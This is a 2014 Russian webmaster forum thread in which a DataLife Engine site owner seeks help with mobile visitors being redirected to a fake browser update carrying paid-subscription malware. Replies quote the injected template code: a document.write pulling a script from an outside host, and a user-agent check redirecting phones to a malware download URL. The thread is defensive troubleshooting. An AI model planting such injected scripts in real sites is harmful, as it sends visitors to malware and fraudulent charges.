Не нравятся результаты поиска? Попробуйте другой поиск!

Бяка на сайте!


     14.02.2014    вирус    Все вопросы » Ламерские вопросы    3684

вопрос
Здравствуйте мастера!
Будьте добры, помогите с проблемой.

Установлена 10.1... Захожу на сайт с ПК, ничего подозрительного не происходит...
Стоит зайти с планшета или телефона (мобильная версия) идёт переадресация на установку обновления для браузера, которое в свою очередь является вредоносным ПО подключающим услуги с абан платой...

В шаблонах левых ссылок нет, а дальше где рыться понятия не имею...

Ответа пока нет


24 комментария

Kolya groza morey
Юзер

Kolya groza morey - 14 февраля 2014 12:31 -

Скрипт нулённый?

tonik
Юзер

tonik - 14 февраля 2014 12:32 -

Нет... Оф версия

Gopr
Юзер

Gopr - 14 февраля 2014 12:44 -

Такой шаблон стоит?
Если да то про него везде по разному пишут:
1. В jquery.masonry.min.js вшит <script type='text/javascript' src='http://demo10.8dle.ru/social.js'></script>
2. В файле jquery.masonry.min.js стоит редирект для телефонов на fileoso.com.
3. bxslider.js и modernizr.js

tonik
Юзер

tonik - 14 февраля 2014 12:47 -

Шаблон не этот, но посмотрю в файлах...
Спасибо за направление!

ПафНутиЙ
Админ

ПафНутиЙ - 14 февраля 2014 20:35 -

Шаблоны покупать надо, а не скачивать бесплатно платные и будет всё ок)

Каков вопрос - таков и ответ. Просто помните об этом.

tonik
Юзер

tonik - 14 февраля 2014 12:54 -

Неа... не получается...
Переименовывал JS файлы, периадресация так и идёт...

sergio.lamborghini
Юзер

sergio.lamborghini - 14 февраля 2014 14:38 -


RadarWeb
Юзер

RadarWeb - 14 февраля 2014 15:38 -

в .htaccess не забывай искать, шаблон не всегда в этом виноват

sergio.lamborghini
Юзер

sergio.lamborghini - 14 февраля 2014 15:49 -

Так двигло то не нулл, официальное говорит, целсофтовское.. Тут только шаб полностью перетряхать, все tpl/ы, все жабаскрипты, вообще всё.. Или покупать нормальный шаб у разраба дорожащего своим именем, а не школоло адаптации шабов на которых построены сотни, если не тысячи ГС..

RadarWeb
Юзер

RadarWeb - 14 февраля 2014 15:59 -

Нулл не нулл, а на настройки доступа к файлам на сервере это не влияет, так что если есть файлы доступные для записи, то искать надо везде, а .htaccess это самый частый пример я привел

sobakatochkaru
Юзер

sobakatochkaru - 14 февраля 2014 16:09 -

если на шаб подозрение то почему бы не включить другой и посмотреть идёт редирект или нет.

ПафНутиЙ
Админ

ПафНутиЙ - 14 февраля 2014 20:36 -

Адрес то у сайта есть?

Каков вопрос - таков и ответ. Просто помните об этом.

fh79655l123
Юзер

fh79655l123 - 15 февраля 2014 00:58 -

У меня тоже 10.1 Увидев этот вопрос я решил проверить тоже как откроется на смартфоне и тоже идет переадресация на какое-то файл обновления вроде... С сайта fileoso.com.

vitnet
PHP-developer

vitnet - 16 февраля 2014 17:33 -

отписал в лс

frizoro
Юзер

frizoro - 15 февраля 2014 07:04 -

tonik, Проверить сайт на внешние ссылки с помощью расширения для chrome - SEOquake
Полезная вещь.
Или дайте ссылку в ЛП, сам посмотрю.

tonik
Юзер

tonik - 15 февраля 2014 15:13 -

Адрес сайта:
http://sck-altay.ru

tonik
Юзер

tonik - 15 февраля 2014 15:56 -

Да...
Изменил шаблон, помогло...
Один фиг... всё перерыл, не могу найти БЯКУ...

Gopr
Юзер

Gopr - 15 февраля 2014 16:46 -

Один фиг... всё перерыл, не могу найти БЯКУ...
Ссылка в коде может быть зашифрована...

tonik
Юзер

tonik - 15 февраля 2014 16:10 -

В .htaccess

Order allow,deny
Deny from all

<FilesMatch "\.(css)$|^$">
   Order deny,allow
   Allow from all
</FilesMatch>


меняю на:

Order Deny,Allow
Deny from all


переадресация пропадает, но и мобильная версия не запускается

fh79655l123
Юзер

fh79655l123 - 15 февраля 2014 16:18 -

Вы пишете редирект а я не понимаю что имено искать под словом редирект
У меня идет переадресация на fileoso.com. значит искать этот сайт в файлах?

tonik
Юзер

tonik - 15 февраля 2014 17:29 -

Всё... череп разбил...
Вот ссылка на исходный шаблон: http://yadi.sk/d/9kdSt_0bHvd9P
Честно... мозга не хватает...!!!

tonik
Юзер

tonik - 17 февраля 2014 07:57 -

Так и не победил... ):

iwanowi4
Юзер

iwanowi4 - 17 февраля 2014 11:50 -

Цитата: tonik
Так и не победил... ):

tonik, ну а как ты искал то?
В файле coin-slider.min.js в самом низу
document.write("<script type='text/javascript' src='http://newdownload.ru/social.js'></script>");

и вот он подгружаемый скрипт...
<!--
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){
  window.location = "http://fileoso.com/twitter/u/11874/twitter.auto";
}
//-->

dj-avtosh
PHP-developer

dj-avtosh - 20 февраля 2014 01:31 -

Надо было мне написать, я бы нашел))

По заказам пишем сюда: @Rud00y

ЯД: 41001679231462
Заказы в telegram (ремонт модулей, оптимизация нагрузок и т.п.):
В телегу писать сразу задачу и бюджет.

Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы

наверх